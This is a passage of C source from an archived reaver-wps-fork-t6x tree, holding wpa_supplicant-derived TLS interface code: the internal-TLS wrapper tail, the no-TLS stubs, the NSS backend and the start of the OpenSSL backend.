CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_established(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return 0; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_shutdown(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_shutdown(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_CLIENT struct tlsv1_credentials *cred; if (conn->client == NULL) return -1; cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure client " "certificate"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); tlsv1_cred_free(cred); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); tlsv1_cred_free(cred); return -1; } if (tlsv1_client_set_cred(conn->client, cred) < 0) { tlsv1_cred_free(cred); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { #ifdef CONFIG_TLS_INTERNAL_SERVER struct tls_global *global = tls_ctx; struct tlsv1_credentials *cred; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; tlsv1_cred_free(global->server_cred); global->server_cred = cred = tlsv1_cred_alloc(); if (cred == NULL) return -1; if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) { wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " "certificates"); return -1; } if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to configure server " "certificate"); return -1; } if (tlsv1_set_private_key(cred, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key"); return -1; } if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, params->dh_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); return -1; } return 0; #else /* CONFIG_TLS_INTERNAL_SERVER */ return -1; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } int tls_global_set_verify(void *tls_ctx, int check_crl) { struct tls_global *global = tls_ctx; global->check_crl = check_crl; return 0; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_verify(conn->server, verify_peer); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keys(conn->client, keys); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keys(conn->server, keys); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_prf(conn->client, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { return tlsv1_server_prf(conn->server, label, server_random_first, out, out_len); } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT u8 *res, *ad; size_t res_len, ad_len; struct wpabuf *out; if (conn->client == NULL) return NULL; ad = NULL; res = tlsv1_client_handshake(conn->client, in_data ? wpabuf_head(in_data) : NULL, in_data ? wpabuf_len(in_data) : 0, &res_len, &ad, &ad_len); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); os_free(ad); return NULL; } if (appl_data) { if (ad) { *appl_data = wpabuf_alloc_ext_data(ad, ad_len); if (*appl_data == NULL) os_free(ad); } else *appl_data = NULL; } else os_free(ad); return out; #else /* CONFIG_TLS_INTERNAL_CLIENT */ return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { #ifdef CONFIG_TLS_INTERNAL_SERVER u8 *res; size_t res_len; struct wpabuf *out; if (conn->server == NULL) return NULL; if (appl_data) *appl_data = NULL; res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), &res_len); if (res == NULL && tlsv1_server_established(conn->server)) return wpabuf_alloc(0); if (res == NULL) return NULL; out = wpabuf_alloc_ext_data(res, res_len); if (out == NULL) { os_free(res); return NULL; } return out; #else /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_client_decrypt(conn->client, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { struct wpabuf *buf; int res; buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data), wpabuf_len(in_data), wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_resumed(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_resumed(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_set_cipher_list(conn->client, ciphers); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_set_cipher_list(conn->server, ciphers); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { if (conn == NULL) return -1; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_cipher(conn->client, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_cipher(conn->server, buf, buflen); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { return tlsv1_client_hello_ext(conn->client, ext_type, data, data_len); } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_get_keyblock_size(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) return tlsv1_server_get_keyblock_size(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) { tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) { tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx); return 0; } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/tls_none.c000077500000000000000000000075631363372615500214220ustar00rootroot00000000000000/* * SSL/TLS interface functions for no TLS case * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls.h" void * tls_init(const struct tls_config *conf) { return (void *) 1; } void tls_deinit(void *ssl_ctx) { } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { return NULL; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { return -1; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/tls_nss.c000077500000000000000000000361761363372615500212700ustar00rootroot00000000000000/* * SSL/TLS interface functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common.h" #include "tls.h" static int tls_nss_ref_count = 0; static PRDescIdentity nss_layer_id; struct tls_connection { PRFileDesc *fd; int established; int verify_peer; u8 *push_buf, *pull_buf, *pull_buf_offset; size_t push_buf_len, pull_buf_len; }; static PRStatus nss_io_close(PRFileDesc *fd) { wpa_printf(MSG_DEBUG, "NSS: I/O close"); return PR_SUCCESS; } static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount) { wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount); return PR_FAILURE; } static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov, PRInt32 iov_size, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size); return PR_FAILURE; } static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *end; wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount); if (conn->pull_buf == NULL) { wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet"); return PR_FAILURE; } end = conn->pull_buf + conn->pull_buf_len; if (end - conn->pull_buf_offset < amount) amount = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, amount); conn->pull_buf_offset += amount; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); os_free(conn->pull_buf); conn->pull_buf = conn->pull_buf_offset = NULL; conn->pull_buf_len = 0; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return amount; } static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { struct tls_connection *conn = (struct tls_connection *) fd->secret; u8 *nbuf; wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount); nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount); if (nbuf == NULL) { wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the " "data to be sent"); return PR_FAILURE; } os_memcpy(nbuf + conn->push_buf_len, buf, amount); conn->push_buf = nbuf; conn->push_buf_len += amount; return amount; } static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, const PRNetAddr *addr, PRIntervalTime timeout) { wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); return PR_FAILURE; } static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr) { wpa_printf(MSG_DEBUG, "NSS: I/O getpeername"); /* * It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a * fake IPv4 address to work around this even though we are not really * using TCP. */ os_memset(addr, 0, sizeof(*addr)); addr->inet.family = PR_AF_INET; return PR_SUCCESS; } static PRStatus nss_io_getsocketoption(PRFileDesc *fd, PRSocketOptionData *data) { switch (data->option) { case PR_SockOpt_Nonblocking: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)"); data->value.non_blocking = PR_TRUE; return PR_SUCCESS; default: wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)", data->option); return PR_FAILURE; } } static const PRIOMethods nss_io = { PR_DESC_LAYERED, nss_io_close, nss_io_read, nss_io_write, NULL /* available */, NULL /* available64 */, NULL /* fsync */, NULL /* fseek */, NULL /* fseek64 */, NULL /* fileinfo */, NULL /* fileinfo64 */, nss_io_writev, NULL /* connect */, NULL /* accept */, NULL /* bind */, NULL /* listen */, NULL /* shutdown */, nss_io_recv, nss_io_send, nss_io_recvfrom, nss_io_sendto, NULL /* poll */, NULL /* acceptread */, NULL /* transmitfile */, NULL /* getsockname */, nss_io_getpeername, NULL /* reserved_fn_6 */, NULL /* reserved_fn_5 */, nss_io_getsocketoption, NULL /* setsocketoption */, NULL /* sendfile */, NULL /* connectcontinue */, NULL /* reserved_fn_3 */, NULL /* reserved_fn_2 */, NULL /* reserved_fn_1 */, NULL /* reserved_fn_0 */ }; static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return NULL; } void * tls_init(const struct tls_config *conf) { char *dir; tls_nss_ref_count++; if (tls_nss_ref_count > 1) return (void *) 1; PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1); nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant"); PK11_SetPasswordFunc(nss_password_cb); dir = getenv("SSL_DIR"); if (dir) { if (NSS_Init(dir) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) " "failed", dir); return NULL; } } else { if (NSS_NoDB_Init(NULL) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) " "failed"); return NULL; } } if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess || SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed"); return NULL; } if (NSS_SetDomesticPolicy() != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed"); return NULL; } return (void *) 1; } void tls_deinit(void *ssl_ctx) { tls_nss_ref_count--; if (tls_nss_ref_count == 0) { if (NSS_Shutdown() != SECSuccess) wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed"); } } int tls_get_errors(void *tls_ctx) { return 0; } static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd) { struct tls_connection *conn = arg; SECStatus res = SECSuccess; PRErrorCode err; CERTCertificate *cert; char *subject, *issuer; err = PR_GetError(); if (IS_SEC_ERROR(err)) wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err " "%d)", err - SEC_ERROR_BASE); else wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)", err); cert = SSL_PeerCertificate(fd); subject = CERT_NameToAscii(&cert->subject); issuer = CERT_NameToAscii(&cert->issuer); wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'", subject, issuer); CERT_DestroyCertificate(cert); PR_Free(subject); PR_Free(issuer); if (conn->verify_peer) res = SECFailure; return res; } static void nss_handshake_cb(PRFileDesc *fd, void *client_data) { struct tls_connection *conn = client_data; wpa_printf(MSG_DEBUG, "NSS: Handshake completed"); conn->established = 1; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io); if (conn->fd == NULL) { os_free(conn); return NULL; } conn->fd->secret = (void *) conn; conn->fd = SSL_ImportFD(NULL, conn->fd); if (conn->fd == NULL) { os_free(conn); return NULL; } if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) != SECSuccess || SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess || SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess || SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: Failed to set options"); PR_Close(conn->fd); os_free(conn); return NULL; } SSL_ResetHandshake(conn->fd, PR_FALSE); return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { PR_Close(conn->fd); os_free(conn->push_buf); os_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return conn->established; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* NSS does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { if (conn == NULL || server_random_first) { wpa_printf(MSG_INFO, "NSS: Unsupported PRF request " "(server_random_first=%d)", server_random_first); return -1; } if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) != SECSuccess) { wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor " "(label='%s' out_len=%d", label, (int) out_len); return -1; } return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct wpabuf *out_data; wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u", in_data ? (unsigned int) wpabuf_len(in_data) : 0); if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); } SSL_ForceHandshake(conn->fd); if (conn->established && conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = os_malloc(1); } if (conn->push_buf == NULL) return NULL; out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (out_data == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *buf; wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes", (int) wpabuf_len(in_data)); res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0, 0); if (res < 0) { wpa_printf(MSG_ERROR, "NSS: Encryption failed"); return NULL; } if (conn->push_buf == NULL) return NULL; buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); if (buf == NULL) os_free(conn->push_buf); conn->push_buf = NULL; conn->push_buf_len = 0; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { PRInt32 res; struct wpabuf *out; wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes", (int) wpabuf_len(in_data)); if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) conn->pull_buf_len); os_free(conn->pull_buf); } conn->pull_buf = os_malloc(wpabuf_len(in_data)); if (conn->pull_buf == NULL) return NULL; os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); conn->pull_buf_offset = conn->pull_buf; conn->pull_buf_len = wpabuf_len(in_data); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0); wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res); if (res < 0) { wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/tls_openssl.c000077500000000000000000002162241363372615500221420ustar00rootroot00000000000000/* * SSL/TLS interface functions for OpenSSL * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifndef CONFIG_SMARTCARD #ifndef OPENSSL_NO_ENGINE #define OPENSSL_NO_ENGINE #endif #endif #include #include #include #include #ifndef OPENSSL_NO_ENGINE #include #endif /* OPENSSL_NO_ENGINE */ #include "common.h" #include "crypto.h" #include "tls.h" #if OPENSSL_VERSION_NUMBER >= 0x0090800fL #define 